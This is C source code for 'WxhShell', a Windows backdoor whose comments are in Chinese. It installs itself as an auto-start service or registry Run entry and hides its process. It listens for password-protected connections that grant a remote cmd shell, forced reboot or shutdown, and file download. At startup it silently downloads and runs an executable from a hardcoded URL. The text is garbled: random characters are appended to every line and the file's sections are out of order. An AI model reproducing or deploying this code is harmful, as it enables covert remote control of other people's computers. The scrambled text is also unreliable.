  case 'd': { Aqwjs 3  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B4yC"55  
    if(Boot(SHUTDOWN)) B~ o;,}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e*7nq ~ B5  
    else { wIv_Z^% V  
    closesocket(wsh); Tq r]5  
    ExitThread(0); )Bl0 W  
    } b0A*zQA_)  
    break; UKBVCAK  
    } \m3;<A/3n  
  // 获取shell L@"1d.k_  
  case 's': { 0<8p G:BQ  
    CmdShell(wsh); y7;i4::A\  
    closesocket(wsh); -gWqq7O  
    ExitThread(0); iG\ ]  
    break; dA`.  
  } D]H@Sx  
  // 退出 U9d0nj9 j  
  case 'x': { S+mZ.aFS0z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~i4h.ZLj  
    CloseIt(wsh); _k0 X)N+li  
    break; q"|,HpQ  
    } )}-,4Iu%  
  // 离开 &B</^:  
  case 'q': { ]"jJgO^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); r+}5;fQJ  
    closesocket(wsh); n( |~z   
    WSACleanup(); yA8e"$  
    exit(1); rNgFsFQ>.  
    break; BM(8+Wj  
        } ]}3AP!:  
  } d+1q[,-  
  } BI'}  
`uO(#au,U  
  // 提示信息 IA\CBwiLj  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Mpfdl65  
} ^^u{W|'CaH  
  } hPs7mnSW  
eY)JuJ?  
  return; 03WLVP@  
} ewNzRH,b  
nN=o/zd  
// shell模块句柄 K0|8h!WF+  
int CmdShell(SOCKET sock) Ue>;h9^  
{ ~nQv yM!$  
STARTUPINFO si; R6^U9 fDG  
ZeroMemory(&si,sizeof(si)); +:hZ,G?>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E4a`cGb  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3yWu-U \k  
PROCESS_INFORMATION ProcessInfo;  As&=Pb9  
char cmdline[]="cmd"; )T-C/ 3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); He#5d!cf:M  
  return 0; xz-z" 8d  
} uQwKnD?F+e  
gWxpGW^eZ~  
// 自身启动模式 MZyzc{c,  
int StartFromService(void) ,t`u3ykh  
{ Y:GSjq  
typedef struct VJK?"mX  
{ ^xW u7q  
  DWORD ExitStatus; }@kD&2  
  DWORD PebBaseAddress; FKTdQg|NZ  
  DWORD AffinityMask; J}Q4.1WG$  
  DWORD BasePriority; +d7sy0  
  ULONG UniqueProcessId; n+C]&6-b  
  ULONG InheritedFromUniqueProcessId; qSB]Zm<  
}   PROCESS_BASIC_INFORMATION; HLL[r0P`F  
'W!N1W@  
PROCNTQSIP NtQueryInformationProcess; ea"!:cL(g  
o"^+i#H!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; b51{sL  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  V Ae@P  
B0_[bQoc1  
  HANDLE             hProcess; Ck71N3~W  
  PROCESS_BASIC_INFORMATION pbi; s*"Yi~  
O~E6"v Q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [D8u.8q  
  if(NULL == hInst ) return 0; Q}pnb3J>T  
V'kCd4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^hG Y,\K9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _0~WT  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]}KoW?M  
aR3R,6ec  
  if (!NtQueryInformationProcess) return 0; f}jo18z%  
'hTA O1n8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); s:_M+_7_  
  if(!hProcess) return 0; 6`/nA4S4.  
n|t?MoUP  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mlIX>ss|7B  
wA@y B"  
  CloseHandle(hProcess); c4]/{!4 Q  
$$U Mc-Pq  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Who7{|M\'  
if(hProcess==NULL) return 0; \E9Hk{V:6  
+Dg%ec  
HMODULE hMod; XCQS_'D  
char procName[255]; 0* G5Vd  
unsigned long cbNeeded; !1i(6?~#4  
9}~WwmC|x  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @x9DV{j)V  
BXNt@%  
  CloseHandle(hProcess); >d.o1<  
``%uq)G=D  
if(strstr(procName,"services")) return 1; // 以服务启动 W<J".2D  
aBo8?VV]8  
  return 0; // 注册表启动 ]_cBd)3P}  
} YeN /J.R  
Ix+===6  
// 主模块 Y^zL}@  
int StartWxhshell(LPSTR lpCmdLine) 2_^{Vez@I  
{ SfKm]Z>Hp  
  SOCKET wsl; d>ltL`xn  
BOOL val=TRUE; %9|}H [x  
  int port=0; KfC8~{O-  
  struct sockaddr_in door; x?hdC)#DWI  
d2b  L_  
  if(wscfg.ws_autoins) Install(); +&LzLF.bK  
Va^AEuzF  
port=atoi(lpCmdLine); Sq9I]A  
\/rK0|2A  
if(port<=0) port=wscfg.ws_port; O>zPWVwa  
I y?_2m  
  WSADATA data; y[U/5! `zV  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7qfo%n"  
X!+#1NPM  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   vmI2o'zi  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h @{U>U7  
  door.sin_family = AF_INET; MA\^<x_?L}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <+MNv#1:w  
  door.sin_port = htons(port); GCN(  
>Ab>"!/'K  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { yo)a_rY  
closesocket(wsl); Of)EBa<5^  
return 1; v 4@=>L  
} 1<hj3  
8&15k A  
  if(listen(wsl,2) == INVALID_SOCKET) { . &dh7` l  
closesocket(wsl); /O"IA4O  
return 1; vn n4  
} _xgF?#  
  Wxhshell(wsl); ;^5d^-T  
  WSACleanup(); yNY *Fl!  
K6#9HF'2I  
return 0; bM]\mo>z<  
@(XX68  
}  &Gp~)%  
x+j5vzhG)  
// 以NT服务方式启动 t`b>iX%(1t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ->DfT*)  
{ IUX~dO  
DWORD   status = 0; y %dUry%>  
  DWORD   specificError = 0xfffffff; Fs^d-I  
"Aw| 7XII  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \;0J6LBc  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?Ji.bnfK  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I(6k.PQ  
  serviceStatus.dwWin32ExitCode     = 0; !FhK<#  
  serviceStatus.dwServiceSpecificExitCode = 0; Cm:&n|  
  serviceStatus.dwCheckPoint       = 0; lO482l_t  
  serviceStatus.dwWaitHint       = 0; ,vBi)H  
(2H e]M\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); fH_G;#q  
  if (hServiceStatusHandle==0) return; xPa>-N=*  
{^TVZdw  
status = GetLastError(); Pb0+ z=L  
  if (status!=NO_ERROR) *ey<R  
{ K&(}5`H0=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "y R56`=  
    serviceStatus.dwCheckPoint       = 0; 9/$D&tRN  
    serviceStatus.dwWaitHint       = 0; wAHW@q9CK  
    serviceStatus.dwWin32ExitCode     = status; .r9-^01mG  
    serviceStatus.dwServiceSpecificExitCode = specificError; :tP:X+?O  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ],ow@}  
    return; ,BM6s,\  
  } 9*!C|gC9Ia  
3VJoH4E!6  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \0%)eJ  
  serviceStatus.dwCheckPoint       = 0; q7}$F]UM"  
  serviceStatus.dwWaitHint       = 0; "hRw_<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); vkmTd4g  
} .lMIJN&/  
V1R=`  
// 处理NT服务事件,比如:启动、停止 . e2qa  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Hu$]V*rAG  
{ @:$zReS2  
switch(fdwControl) |CME:;{T  
{ lf3:Z5*&>  
case SERVICE_CONTROL_STOP: @;>TmLs  
  serviceStatus.dwWin32ExitCode = 0; !:Lb^C;/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1x+Y gL5  
  serviceStatus.dwCheckPoint   = 0; :0BaEqX  
  serviceStatus.dwWaitHint     = 0; 1Yt;1k'  
  { (>m3WI$d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -a`EL]NX  
  } $KL5Z#K  
  return; 8" Z!: =A  
case SERVICE_CONTROL_PAUSE: csTX',c  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; OZ?4"1$.t  
  break; [3`T/Wm  
case SERVICE_CONTROL_CONTINUE: ]a|3"DP5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; b&uo^G,  
  break; azMrY<  
case SERVICE_CONTROL_INTERROGATE: M 7j0&>NTG  
  break; }a@ZFk_>  
};  /kGRN @  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2#Fc4RR;  
} Ij>x3L\-  
>j1\]uo  
// 标准应用程序主函数 ehO@3%z30c  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) O~F/pJN`  
{ ;u LD_1%  
'tK5s>gv<  
// 获取操作系统版本 se](hu~w  
OsIsNt=GetOsVer(); ;czMsHu0X  
GetModuleFileName(NULL,ExeFile,MAX_PATH); iqCKVo7:M  
hx$-d}W{  
  // 从命令行安装 Qg+0(odd  
  if(strpbrk(lpCmdLine,"iI")) Install(); )%8oE3O#  
VXvr`U\  
  // 下载执行文件 ;i`X&[y;  
if(wscfg.ws_downexe) { !pI)i*V|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :<d\//5<9  
  WinExec(wscfg.ws_filenam,SW_HIDE); P/._ tQu6  
} y|!%C-P  
Xui${UYN  
if(!OsIsNt) { gkS#=bv9e@  
// 如果时win9x,隐藏进程并且设置为注册表启动 | ]`gps  
HideProc(); U6qv8*~  
StartWxhshell(lpCmdLine); @L|X('i  
} k))*Sg  
else 'j=7'aX>K  
  if(StartFromService()) TDg#O!DUF  
  // 以服务方式启动 }~dXz?{p8  
  StartServiceCtrlDispatcher(DispatchTable); Q[i/]  
else ug!DL=ZW  
  // 普通方式启动 JsOPI ]  
  StartWxhshell(lpCmdLine); X ^>o/U  
oo7&.HWf  
return 0; XJnDx 09h  
} 2A@9jl s  
{O*<1v9<  
*zX*k 7LnV  
D"fE )@Q@Y  
=========================================== WlP#L`  
MP,l*wVd  
\s Fdp!M}2  
N1WP  
j.4oYxK!s/  
cA ;'~[  
" W?{:HV  
}AG$E}~/  
#include <stdio.h> ZjY_AbD  
#include <string.h> w[PWJ! <  
#include <windows.h> HbF.doXK  
#include <winsock2.h> MrjET!`.jC  
#include <winsvc.h> 9z 5K  -s  
#include <urlmon.h> $DW3H1iW  
fXMVl\ <  
#pragma comment (lib, "Ws2_32.lib") QOIi/flK  
#pragma comment (lib, "urlmon.lib") 9@C3jZ+9`H  
o9M[Zr1@k  
#define MAX_USER   100 // 最大客户端连接数 L1*P<Cb  
#define BUF_SOCK   200 // sock buffer ^ pMjii8IZ  
#define KEY_BUFF   255 // 输入 buffer _GK^7}u  
Q17"hO>kC  
#define REBOOT     0   // 重启 ZC3b9:tk  
#define SHUTDOWN   1   // 关机 4*OL^ \%  
vOsd>3"  
#define DEF_PORT   5000 // 监听端口 Ojp)OeF\  
DR/qe0D  
#define REG_LEN     16   // 注册表键长度 u3kK!2cdP  
#define SVC_LEN     80   // NT服务名长度 UC^&& 2maI  
[.B)W);  
// 从dll定义API _lb ^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ME~ga,|K  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &V1N a1`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); S{j|("W"[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); H V<|eL #  
Pgg6(O9}B^  
// wxhshell配置信息 c"t1E-Nsk  
struct WSCFG { 4vTO  #F  
  int ws_port;         // 监听端口 k|-`d  
  char ws_passstr[REG_LEN]; // 口令 c\UVMyE  
  int ws_autoins;       // 安装标记, 1=yes 0=no } gyJaMA  
  char ws_regname[REG_LEN]; // 注册表键名 VB*N;bM^  
  char ws_svcname[REG_LEN]; // 服务名 z h0m3|9O  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?GU/Rf!H#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4NbX! "0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4cL NPl<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no W^0F(9~!(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" m_~ p G  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 qAm$yfYs`  
k(o[T),_%0  
}; )gV+BHK  
\(.&E`r  
// default Wxhshell configuration uOc>~ITPS  
struct WSCFG wscfg={DEF_PORT, !U}A1)  
    "xuhuanlingzhe", @B ~! [l  
    1, +GI[ Kq  
    "Wxhshell", pOD|  
    "Wxhshell", nWN~G  
            "WxhShell Service", V4qHaG  
    "Wrsky Windows CmdShell Service", b$[_(QUw  
    "Please Input Your Password: ", (.P;VH9R\  
  1, y&9S+  
  "http://www.wrsky.com/wxhshell.exe", _)2.#L  
  "Wxhshell.exe" B Hn`e~  
    }; >5wA B  
jpyV52  
// 消息定义模块 }p}i _'%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; KSVIX!EsX  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (}O)pqZ>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; j2lo~J)  
char *msg_ws_ext="\n\rExit."; F}0QocD  
char *msg_ws_end="\n\rQuit."; gB&]kHLO  
char *msg_ws_boot="\n\rReboot..."; 2*n2!7jZ*  
char *msg_ws_poff="\n\rShutdown..."; - t4"BD  
char *msg_ws_down="\n\rSave to "; :q~qRRmjBe  
"$+naY{w  
char *msg_ws_err="\n\rErr!"; '0X!_w6W  
char *msg_ws_ok="\n\rOK!"; Ql%7wrK  
F^_d8=67h  
char ExeFile[MAX_PATH]; /V~L:0%  
int nUser = 0; P~ _CDh.N  
HANDLE handles[MAX_USER]; 0{ v?  
int OsIsNt; {b^naE  
[ar:zl V8  
SERVICE_STATUS       serviceStatus; 4DEsB)%X  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; cGkl=-oQ'  
R%aH{UhE`  
// 函数声明 b@^M|h.Va  
int Install(void); lZ0+:DaP2  
int Uninstall(void); T;GBZR%  
int DownloadFile(char *sURL, SOCKET wsh); V-A^9AAPm  
int Boot(int flag); qh0)~JL4   
void HideProc(void); &o^wgmS   
int GetOsVer(void); /`\-.S9  
int Wxhshell(SOCKET wsl); BArsj  
void TalkWithClient(void *cs); nen6!bw4  
int CmdShell(SOCKET sock); E{T\51V]%  
int StartFromService(void); GWjKZ1p  
int StartWxhshell(LPSTR lpCmdLine); Jkpw8E7  
@<CJbFgJp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <X p F  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #1hT#YN  
, 9|%  
// 数据结构和表定义 :m5& i&  
SERVICE_TABLE_ENTRY DispatchTable[] = )oTEB#J  
{ Qat%<;P2  
{wscfg.ws_svcname, NTServiceMain}, FvG9PPd  
{NULL, NULL} "x9xJ  
}; z:u`W#Rf  
B_hob  
// 自我安装 (m)%5*:  
int Install(void) $DA0lY\  
{ @[=*w`1  
  char svExeFile[MAX_PATH]; ;DC0LJ  
  HKEY key; au"HIyi?k  
  strcpy(svExeFile,ExeFile); "c!s\iuBU  
dtA- 4Ndm  
// 如果是win9x系统,修改注册表设为自启动 ^Q!:0D*  
if(!OsIsNt) { +n,8o:fU:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  ~Zl`Ap  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r4 +w?=`  
  RegCloseKey(key); Ez?vJDd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j`,;J[Zd`h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H xb{bF  
  RegCloseKey(key); C>v    
  return 0; W{ eu_  
    } {Hp?rY@  
  } kjNA~{  
} Zt lS*id_  
else { ] |u}P2  
"oz @w'rG  
// 如果是NT以上系统,安装为系统服务 7;CeQx/W)W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); enG6T  
if (schSCManager!=0) YL){o$-N"J  
{ U%oI*  
  SC_HANDLE schService = CreateService 1"/V?ArfL  
  ( + A0@# :B  
  schSCManager, qu[w_1%S  
  wscfg.ws_svcname, 4c2P%X( C  
  wscfg.ws_svcdisp, &tWWb`  
  SERVICE_ALL_ACCESS, JTx}{kVO  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , fEVuH]  
  SERVICE_AUTO_START, n!eg"pL  
  SERVICE_ERROR_NORMAL, ,9?'Q;20  
  svExeFile, V2g$"W?3  
  NULL, ljiq+tT  
  NULL, OzO_E8Kb\  
  NULL, ]XPGlM  
  NULL, d[~c-G6  
  NULL |o!<@/iH=  
  ); X[@>1tl  
  if (schService!=0) IE_@:]K}Ja  
  { L+I[yJY:!  
  CloseServiceHandle(schService); Q~xR'G[N  
  CloseServiceHandle(schSCManager); 1'aS2vB9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); xR_]^Get  
  strcat(svExeFile,wscfg.ws_svcname); >E]*5jqU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]m4LY.SQ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *r-Bt1  
  RegCloseKey(key); } \823 U %  
  return 0; an5Ss@<4AA  
    } 4aV3x&6X  
  } *s%s|/  
  CloseServiceHandle(schSCManager); 6,@M0CX  
} G!rcY5!J  
} 3\4Cg()  
c'G\AbUVjE  
return 1; ]6:5<NW  
} >p<( CVX[  
OW-+23)sj  
// 自我卸载 F)gL=6h  
int Uninstall(void) Qb(CH  
{ Rw/G =zV@2  
  HKEY key; ED?s[K  
sm_:M| [D  
if(!OsIsNt) { U!e4_JBR'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I[4E?  
  RegDeleteValue(key,wscfg.ws_regname); y:,{U*49  
  RegCloseKey(key);  R(zsn;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I* bjE '  
  RegDeleteValue(key,wscfg.ws_regname); 61mQJHl.  
  RegCloseKey(key); }K*ri  
  return 0; PH7L#H^  
  } gIRCJ=e[b  
} Q1jyetk~I  
} s]I],>}RU  
else { 3R{-\ZMd  
;zCHEz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); TuF:m"4  
if (schSCManager!=0) B "qG-ci  
{ `2@-'/$\I|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); xS(sRx+A  
  if (schService!=0) TWs|lhC7!  
  { yq<YGNy!  
  if(DeleteService(schService)!=0) { QqwX Fk  
  CloseServiceHandle(schService); !3b%Q</M H  
  CloseServiceHandle(schSCManager); c^bA]l^a  
  return 0; }!d}febk_  
  } xO.7cSqgw  
  CloseServiceHandle(schService); $(NfHIX  
  } ~Fx[YPO,  
  CloseServiceHandle(schSCManager); <pE G8_{}  
} o?b%L  
} ;T_9;RU<'b  
AH7k|6ku<*  
return 1; 0)/214^&  
} p/:5 bvA  
S1+#qs {5a  
// 从指定url下载文件 .Gv~e!a8  
int DownloadFile(char *sURL, SOCKET wsh) n-=\n6"P  
{ H 0h  
  HRESULT hr; pP r<8tm[  
char seps[]= "/"; {10ms_s  
char *token; tS9m8(Hr%Q  
char *file; 1y@-  
char myURL[MAX_PATH]; H,I}R  
char myFILE[MAX_PATH]; :D,YR(])  
ew"Fr1UGYZ  
strcpy(myURL,sURL); 7&QVw(:)M  
  token=strtok(myURL,seps); uqyf3bK  
  while(token!=NULL) ry T8*}o  
  { n (|>7  
    file=token; q-RGplx  
  token=strtok(NULL,seps); |4c==7.  
  } H|!s.  
v]J# SlF  
GetCurrentDirectory(MAX_PATH,myFILE); 7 dzE"m  
strcat(myFILE, "\\"); \%C[l  
strcat(myFILE, file); yjr@v!o  
  send(wsh,myFILE,strlen(myFILE),0); m3WV<Cbz  
send(wsh,"...",3,0); w\mF2h  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); K@i*Nl  
  if(hr==S_OK) 0l##M06>  
return 0; aE%VH ;?  
else H|Nw)*.  
return 1; "5YdmBy  
LBE".+  
} k|_2aQ02  
"4`%NA  
// 系统电源模块 <oO,CXF  
int Boot(int flag) G<z)Ydh_  
{ @Dy.HQ~  
  HANDLE hToken; ;FmSL#]I  
  TOKEN_PRIVILEGES tkp; wY95|QS  
d"78:+  
  if(OsIsNt) { 47RYpd  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); q>[% C5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :9#`| #uh  
    tkp.PrivilegeCount = 1; Zb 2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; wI4;/w>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]/bE${W*]  
if(flag==REBOOT) { i#lo? \PO>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ypd?mw&1}  
  return 0; 4yA`);r62  
} 6+5Catsn  
else { V!P3CNK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) V9 VP"kD  
  return 0; x.yL'J\)  
} *p3P\ H^5  
  } SSXS  
  else { Wy4^mOv  
if(flag==REBOOT) { >S!DIL  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) E1C_d'  
  return 0; NM@An2  
} , .I^ekF  
else { 2UF94  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) mc'p-orAf  
  return 0; @"!SU' *  
} q(7D8xG;F  
} 5avO48;Vc  
u\xm8}A  
return 1; `$H   
} !`_f\  
=dBrmMh  
// win9x进程隐藏模块 HWhKX:`l  
void HideProc(void) [S:)UvB  
{ {*U:Wm<  
cnthtv+(~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9ojhI=:  
  if ( hKernel != NULL ) As|/ O7%  
  { sQZ8<DpB  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f>dkT'4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,7P^]V1  
    FreeLibrary(hKernel); !P$xh  
  } \2pFFVT  
dLf8w>i`T  
return; tTH%YtG  
} Y2-bU 7mo  
>n~p1:$  
// 获取操作系统版本 Aa>gN  
int GetOsVer(void) S=p u  
{ 7Ca\ (82  
  OSVERSIONINFO winfo; MuGg z>CV[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3.X0!M;x  
  GetVersionEx(&winfo); qJU)d  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) kW&Z%k  
  return 1; qD*\}b]9I  
  else sK0VT"7K  
  return 0; l7,qWSsn K  
} Zk UuniO  
uR@`T18  
// 客户端句柄模块 Qiw4'xQm  
int Wxhshell(SOCKET wsl) q}$=bR1+  
{ 9D{).f0  
  SOCKET wsh; f9UaAdJ(  
  struct sockaddr_in client; gF6j6  
  DWORD myID; lM^!^6=v0l  
A.9'pi'[9Q  
  while(nUser<MAX_USER) =jc8=h[F<  
{ V1)P=?%(US  
  int nSize=sizeof(client); _a$DY ,;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I&8SP$S>J  
  if(wsh==INVALID_SOCKET) return 1; O/9%"m:i  
SRN9(LN  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); q_y,j&  
if(handles[nUser]==0) 8 QF?W{NK  
  closesocket(wsh); 1lyOp   
else ,'CWt]OS'  
  nUser++; Gr$*t,ZW  
  } nFnF_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `l2<  
VhFRh,J(T  
  return 0; =veOVv[Q&/  
} no NF;zT  
AH'4H."o/9  
// 关闭 socket A}bHfn|  
void CloseIt(SOCKET wsh) v7FRTrqjj  
{ |vN@2h(|"  
closesocket(wsh); 8UT%:DlxQ  
nUser--; #A9_A%_.h  
ExitThread(0); XYHCggy  
} M |?p3%  
>Y-TwD aE  
// 客户端请求句柄 V/}>>4  
void TalkWithClient(void *cs) qzt2j\v  
{ I"32[?0 (;  
$Cd;0gdv  
  SOCKET wsh=(SOCKET)cs; ;Z1U@2./  
  char pwd[SVC_LEN]; (SsH uNt.  
  char cmd[KEY_BUFF]; !Vr45l  
char chr[1]; y C0f/O  
int i,j; $dTfvd  
9id~NNr7  
  while (nUser < MAX_USER) { o1X/<.0+  
O {6gNR,*  
if(wscfg.ws_passstr) { Eqmv`Z [_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'SU9NQS  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6!%d-Z7)  
  //ZeroMemory(pwd,KEY_BUFF); j(6$7+2qN  
      i=0; _SIs19"lR  
  while(i<SVC_LEN) { +GYMJK`S+  
G:c8`*5Q  
  // 设置超时 $wYuH9(  
  fd_set FdRead; X!rQ@F3  
  struct timeval TimeOut; >}DjHLTW\  
  FD_ZERO(&FdRead); 37 O#aJ,K  
  FD_SET(wsh,&FdRead); Uty(sDtu  
  TimeOut.tv_sec=8; q"+ q  
  TimeOut.tv_usec=0; Stw+Dm\!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ok3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); a|P~LMPM  
B2G5h baA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z0"&  
  pwd=chr[0]; +# RlX3P  
  if(chr[0]==0xd || chr[0]==0xa) { cl8_rt  
  pwd=0; 3W-NS~y  
  break; P10p<@?  
  } 5G'&9{oB  
  i++; 9U7Mu;4  
    } YR|(;B  
c. TB8Ol  
  // 如果是非法用户,关闭 socket /;<e.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _7=pw5[  
} iVKbGgA  
WE5"A| =  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "6E1W,|{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); loeLj4""  
_)#=>$k\  
while(1) { O,=Q1*c,&  
=tS[&6/  
  ZeroMemory(cmd,KEY_BUFF); DO1 JPeIi  
xMSNrOc  
      // 自动支持客户端 telnet标准   yL ;o{ G  
  j=0; hINnb7 o  
  while(j<KEY_BUFF) { Q.9Ph ~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jTd4H)  
  cmd[j]=chr[0]; ;WvYzd9  
  if(chr[0]==0xa || chr[0]==0xd) { MJ>Qq[0  
  cmd[j]=0; uXQ7eXX  
  break; I|F~HUzA"  
  } 7O8V1Tt  
  j++; /OhaERv  
    } ]Z.<c$  
m]0^  
  // 下载文件 iM?I /\  
  if(strstr(cmd,"http://")) { 2H?I'<NoC  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Bbl)3$`,  
  if(DownloadFile(cmd,wsh)) O^X[9vrW  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y8J ;+h9  
  else ,5eH2W  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (:.Q\!aZ1  
  } W(uP`M%][0  
